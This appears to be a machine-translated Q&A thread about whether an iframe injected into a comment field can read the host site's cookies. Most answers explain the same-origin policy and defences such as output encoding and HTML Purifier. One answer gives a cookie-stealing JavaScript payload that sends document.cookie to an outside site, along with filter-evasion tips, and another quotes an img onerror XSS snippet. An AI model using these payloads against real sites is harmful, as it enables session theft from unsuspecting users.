使用Iframe跨站点脚本

时间:2011-11-28 03:52:43

标签: javascript iframe xss

我正在尝试跨站点脚本。我有一个网站,允许用户插入评论并在网站上查看。该网站虽然从评论中过滤了字符串“script”但它允许iframe。我知道我可以嵌入一个指向我制作的网站的iframe,我可以运行我想要的任何脚本。我的问题是:我的iframe脚本能否读取原始网站发起的cookie?我已经尝试过alert(document.cookie),但它显示的是一个没有任何内容的警报。当客户请求时,原始网站始终设置cookie。知道我错过了什么吗?

4 个答案:

答案 0 :(得分:9)

周围的页面都需要来自同一个域。这受到同源策略的限制,该策略指出一帧中的脚本只能访问另一帧中的数据,因为它们位于同一协议上,具有完全相同的域名并且在同一端口上运行。通过将document.domain设置为两个帧中的顶级域,可以略微放松,从而允许子域中的帧进行通信。

您可以尝试输入,但可能会在较新的浏览器中阻止。

然而,限制脚本不足以阻止XSS。还有很多其他方法。请参阅http://html5sec.orghttp://ha.ckers.org/xss.html

答案 1 :(得分:3)

你听起来好像是在尝试使用cookie作为XSS的有效载荷吗?

你实际上是想偷饼干吗?

但是如果该网站允许您插入注释并仅删除“脚本”,那么您有一堆替代方法可以插入XSS,包括coookie窃取脚本。

试试这个

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie;

但你想对单词脚本进行编码,这样你就可以尝试

脚本

或unicode 73 63 72 69 70 74

答案 2 :(得分:1)

Cookie遵循相同的原始政策。因此,如果攻击网站和受害者网站(允许iframe打开)拥有相同的主机,则运行document.cookie的弹出窗口将保留cookie信息。 因为在你的情况下,他们似乎是差异域cookie偷窃是不可能的。 要防止XSS更好的方法是使用核心jstl库的C:out标记

答案 3 :(得分:0)

据我所知,如果iframe的域名和原始网站的域名不同,则iframe无法访问原始网站,但有other problems。 (例如,cracker commenting <img src="asdf" onerror="alert(document.cookie)"/>

您可能想要使用像HTML Purifier ....

这样的东西